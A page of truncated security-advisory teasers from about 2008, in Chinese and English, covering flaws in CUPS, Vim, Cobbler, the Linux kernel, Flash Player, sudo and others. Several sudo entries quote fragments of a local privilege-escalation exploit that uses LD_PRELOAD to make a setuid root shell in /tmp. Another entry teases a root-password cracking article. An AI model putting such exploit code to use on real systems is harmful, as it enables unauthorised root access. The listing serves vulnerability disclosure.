CUPS cupsd RSS订阅空指针引用本地拒绝服务漏洞

BUGTRAQ ID: 32419 CVECAN ID: CVE-2008-5183 Common Unix Printing System（CUPS）是一款通用Unix打印系统，是Unix环境下的跨平台打印解决方案，基于Internet打印协议，提供大多数PostScript和raster打印机服务。 如果向默认监听于631/tcp端口的CUPS守护程序（/usr/sbin/cupsd）添加了多于100个RSS订阅的话，就会触发空指针引用，导致守护程序崩溃。 Easy Software Products CUPS 1.3.8 RedHat ------...

Fedora 9 : rsyslog-3.20.2-2.fc9 (2008-11538)

Security fixes for CVE-2008-5617 and CVE-2008-5618, detailed in: http://www.rsyslog.com/Article322.phtml http://secunia.com/Advisories/32857/ Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to...

Sun Java JDK/JRE安全更新修复多个漏洞

BUGTRAQ ID: 32620,32608 CVECAN ID:...

twiki -- multiple vulnerabilities

Marc Schoenefeld and Steve Milner of RedHat SRT and Peter Allor of IBM ISS report: XSS vulnerability with URLPARAM variable SEARCH variable allows arbitrary shell command execution...

IPsec-Tools多个远程拒绝服务漏洞

BUGTRAQ ID: 30657 CVECAN ID: CVE-2008-3651,CVE-2008-3652 IPsec-Tools是KAME的IPsec工具到Linux平台上的移植。 ipsec-tools的racoon守护进程的src/racoon/handler.c文件没有删除远程初始化的孤儿ph1句柄，racoon/proposal.c文件中存在内存泄露漏洞。如果远程攻击者发送了无效请求报文的话，就可能导致耗尽所有可用内存。 IPsec-Tools 0.7.1 RedHat ------ RedHat已经为此发布了一个安全公告（RHSA-2008:0849-01）以及相应补丁...

Sun Java Runtime Environment and Java Development Kit Multiple Security Vulnerabilities

Description Sun Java Runtime Environment and Java Development Kit are prone to multiple security vulnerabilities. Successful exploits may allow attackers to violate the same-origin policy, obtain sensitive information, bypass security restrictions, run untrusted applets with elevated privileges,...

Vim多个插件字符转义任意命令执行漏洞

BUGTRAQ ID: 32462,32463 CVECAN ID: CVE-2008-3074,CVE-2008-3074 VIM是一款免费开放源代码文本编辑器，可使用在Unix/Linux操作系统下。 VIM的tar.vim和zip.vim插件中shellescape函数没有正确地转义所有项（“!”字符）。如果用户使用tar.vim插件打开了TAR文档的话，就会导致以运行Vim用户的权限执行任意指令。 VIM Development Group VIM 7.1 VIM Development Group VIM 7.0 RedHat ------...

Cobbler Web接口kickstat模板远程特权权限漏洞

BUGTRAQ ID: 32317 CNCAN ID：CNCAN-2008112101 Cobbler是一款网络安全服务器。 Cobbler WEB接口存在远程特权提升问题，远程攻击者可以利用漏洞以root特权执行python代码。 问题存在于kickstart模板存在安全问题，目前没有详细漏洞细节提供。 RedHat Fedora 9 RedHat Fedora 8 Cobbler Cobbler 1.2.8 升级程序： Cobbler Cobbler 1.2.8 1 Cobbler cobbler-1.2.9.tar.gz...

RHEL 5 : vim (RHSA-2008:0580)

The remote Redhat Enterprise Linux 5 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2008:0580 advisory. - vim format string flaw CVE-2007-2953 - vim: command execution via scripts not sanitizing inputs to execute and system CVE-2008-2712 - Vim...

Linux each version of the local root password cracking method-vulnerability warning-the black bar safety net

This time the old met was asked and the various linux versions of the local root password cracking method, I here own and on the network to collect some information, we want to see this article and just used to give the art a little help: A RedHat/CentOS/Fedora system password cracking 1. In the...

No-IP DUC 2.1.7 - Remote Code Execution

No-IP DUC 2.1.7 - Remote Code Execution / | |/ / / |/ / / / | / / / / /|/ / / / / / / / / / / / / // / / / / // / // // / //|// //// //,//,/ xenomuta arroba phreaker punto net http://xenomuta.tuxfamily.org/ - Methylxantina 256mg Permlink: http://xenomuta.tuxfamily.org/exploits/noIPwn3r.c...

Linux Kernel VDSO本地权限提升漏洞

BUGTRAQ ID: 32099 CVECAN ID: CVE-2008-3527 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的arch/i386/kernel/sysenter.c没有正确地实现虚拟动态共享对象（vDSO），本地攻击者可以通过调用installspecialmapping、syscall和syscall32nopage函数获得权限提升或导致拒绝服务。 Linux kernel 2.6.x Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Sudo <= 1.6.9p18 (Defaults setenv) Local Privilege Escalation Exploit

No description provided by source. !/bin/sh Sudo = 1.6.9p18 local r00t exploit by Kingcope/2008/www.com-winner.com Most lame exploit EVER! Needs a special configuration in the sudoers file: --- "Defaults setenv" so environ vars are preserved : --- May also need the current users password to be...

Sudo <= 1.6.9p18 (Defaults setenv) Local Privilege Escalation Exploit

Exploit for multiple platform in category local exploits ===================================================================== Sudo "Defaults setenv" so environ vars are preserved : program.c include include include void init if !geteuid unsetenv"LDPRELOAD"; setgid0; setuid0;...

Sudo 1.6.9p18 - Defaults SetEnv Local Privilege Escalation

Sudo 1.6.9p18 - Defaults SetEnv Local Privilege Escalation !/bin/sh Sudo "Defaults setenv" so environ vars are preserved : program.c include include include void init if !geteuid unsetenv"LDPRELOAD"; setgid0; setuid0; execl"/bin/sh","sh","-c","chown 0:0 /tmp/xxxx; /bin/chmod +xs /tmp/xxxx",NULL;...

Sudo 1.6.9p18 - 'Defaults SetEnv' Local Privilege Escalation

!/bin/sh Sudo "Defaults setenv" so environ vars are preserved : program.c include include include void init if !geteuid unsetenv"LDPRELOAD"; setgid0; setuid0; execl"/bin/sh","sh","-c","chown 0:0 /tmp/xxxx; /bin/chmod +xs /tmp/xxxx",NULL; EOF cat xxxx.c EOF int mainvoid setgid0; setuid0; //...

Linux Kernel VDSO未明特权提升漏洞

BUGTRAQ ID: 32099 CVE ID：CVE-2008-3527 CNCVE ID：CNCVE-20083527 Linux是一款开放源代码的操作系统。 Linux虚拟动态共享对象vDSO实现存在边界检查错误，本地攻击者可以利用漏洞对系统进行拒绝服务攻击或提升特权。 目前没有详细漏洞细节提供。 RedHat Enterprise Linux Desktop 5 client RedHat Enterprise Linux 5 server Linux kernel 2.6.19 1 Linux kernel 2.6.19 .2 Linux kernel 2.6.19 .1...

Adobe Flash Player剪贴板劫持漏洞

BUGTRAQ ID: 31117 CVECAN ID: CVE-2008-3873 Flash Player是一款非常流行的FLASH播放器。 Adobe Flash Player中ActionScript的System.setClipboard方式允许向剪贴板中添加URL，恶意的SWF文件可能向剪贴板添加URL，导致用户错在不知情的情况下加载攻击者控制的URL。 Adobe Flash Player 9.0.124.0 Adobe ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Adobe Flash Player FileReference API任意文件上传/下载漏洞

CVECAN ID: CVE-2008-4401 Flash Player是一款非常流行的FLASH播放器。 Adobe Flash Player中的ActionScript对FileReference上传API的FileReference.browse操作或FileReference下载API的FileReference.download操作没有要求用户交互，用户可能在不知情的情况下上传或下载恶意文件 Adobe Flash Player 9.0.124.0 Adobe ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Linux Kernel 'do_splice_from()'本地安全绕过漏洞

BUGTRAQ ID: 31903 CVE ID：CVE-2008-4554 CNCVE ID：CNCVE-20084554 Linux是一款开放源代码的操作系统。 Linux在执行部分文件操作时'dosplicefrom'函数不正确拒绝文件描述符，本地攻击者可以利用漏洞绕过本地安全限制。 攻击者可以绕过append-only限制，破坏系统文件。 RedHat Fedora 9 0 RedHat Fedora 8 0 Linux kernel 2.6.26 4 Linux kernel 2.6.26 3 Linux kernel 2.6.26 .6 Linux kernel 2.6.26...